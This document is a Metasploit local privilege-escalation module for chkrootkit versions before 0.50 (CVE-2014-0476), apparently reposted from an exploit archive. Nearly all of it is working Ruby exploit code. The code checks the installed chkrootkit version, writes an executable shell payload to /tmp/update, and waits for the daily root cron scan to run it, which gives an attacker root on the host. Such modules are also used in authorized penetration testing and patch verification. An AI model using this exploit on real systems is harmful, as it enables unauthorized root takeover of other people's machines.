Chkrootkit Local Privilege Escalation

2015-11-20 23:05:20

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class Metasploit4 < Msf::Exploit::Local

# This could also be Excellent, but since it requires
# up to one day to pop a shell, let's set it to Manual instead.
Rank = ManualRanking

include Msf::Post::File
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Chkrootkit Local Privilege Escalation',
'Description' => %q{
Chkrootkit before 0.50 will run any executable file named
/tmp/update as root, allowing a trivial privsec.

WfsDelay is set to 24h, since this is how often a chkrootkit
scan is scheduled by default.
},
'Author' => [
'Thomas Stangner', # Original exploit
'Julien "jvoisin" Voisin' # Metasploit module
],
'References' => [
['CVE', '2014-0476'],
['OSVDB', '107710'],
['EDB', '33899'],
['BID', '67813'],
['CWE', '20'],
['URL', 'http://seclists.org/oss-sec/2014/q2/430']
],
'DisclosureDate' => 'Jun 04 2014',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'SessionTypes' => ['shell', 'meterpreter'],
'Privileged' => true,
'Stance' => Msf::Exploit::Stance::Passive,
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => {'WfsDelay' => 60 * 60 * 24} # 24h
))

register_options([
OptString.new('CHKROOTKIT', [true, 'Path to chkrootkit', '/usr/sbin/chkrootkit'])
])
end

def check
version = cmd_exec("#{datastore['CHKROOTKIT']} -V 2>&1")

if version =~ /chkrootkit version 0\.[1-4]/
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end

def exploit
print_warning('Rooting depends on the crontab (this could take a while)')

write_file('/tmp/update', "#!/bin/sh\n(#{payload.encoded}) &\n")
cmd_exec('chmod +x /tmp/update')
register_file_for_cleanup('/tmp/update')

print_status('Payload written to /tmp/update')
print_status('Waiting for chkrootkit to run via cron...')
end

end

Fixes

No fixes

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